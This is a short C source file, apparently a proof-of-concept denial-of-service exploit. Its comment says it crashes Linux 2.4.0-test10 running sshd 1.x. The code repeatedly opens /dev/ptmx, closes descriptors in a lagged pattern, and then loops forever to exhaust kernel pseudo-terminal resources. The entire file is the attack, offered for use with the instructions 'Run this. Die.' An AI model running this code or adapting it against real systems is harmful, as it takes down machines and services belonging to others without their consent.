/*
 * How to crash Linux 2.4.0-test10 running sshd 1.x.
 *
 *  1. Run this.
 *  2. Die.
 *
 */

#include <fcntl.h>
#include <stdlib.h>

int main(void) 
{
  int i,fd;

  for(i = 0; i < 100000; i++) {
    if ((fd = open("/dev/ptmx", O_RDWR|O_NONBLOCK)) < 0)
      perror("open");
    if (i > 128)
      close(fd-120);
  }

  while(1);

  return 0;
}


